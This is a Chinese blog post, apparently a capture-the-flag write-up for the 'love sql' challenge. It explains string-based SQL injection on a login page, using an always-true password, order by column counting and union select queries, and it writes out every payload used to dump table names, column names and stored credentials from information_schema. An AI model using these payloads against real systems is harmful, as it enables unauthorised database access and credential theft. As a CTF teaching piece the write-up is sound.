sql注入---极客大挑战(love sql)

 

 

 

进入题目后发现是一个登录页面,首先尝试用万能密码进行登录;

 

 

 

万能密码:1' or 1=1#

点击登录后出现了用户名,和密码,但尝试登录发现出现错误,所以继续用sql注入

在url中输入order by 查询字段

 username=admin' order by 3 %23&password=1233 (当字段为三时,页面出现正常的回显)

 

 

 

username=admin' order by 4%23&password=1233(如下图所示当字段为四是页面返回错误,不存在,则说明字段数为3)

sql语句中%23代表#也就是注释 由于直接输入#会被直接转换起不到注释的作用,所以用%23代表#,#(%23)的作用使其后面的内容被注释掉,在这个题中passwd被注释掉,也就是说passwd可以任意输。

 

 

输入username=1' union select 1,2,3%23&password=1(使用union联合查注,测试回显点,通过测试运行发现回显位点为2,3 )

 

 得到显示位后通过函数查询当前数据库和版本 :username=1' union select 1,database(),version()%23&password=1

database()查询当前数据库

version()查询当前数据库版本

 

 通关注入得到数据库名称为geek;

接下来通过函数爆表得到两个表geekuser ,I0ve1ysq1;

sqly语句:username=1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23&password=1

 

 接下来对表I0ve1ysq1进行爆破得到三个字段(id ,username,password);

 

sql语句:username=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1'%23&password=1

 

 

接下来对三个字段进行数据爆破得到flag

sql语句:username=1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1%23&password=1

 

 

 

 这题主要考查了sql字符型注入的相关知识;

 

posted @ 2022-03-20 01:05  GTL_JU  阅读(179)  评论(0编辑  收藏  举报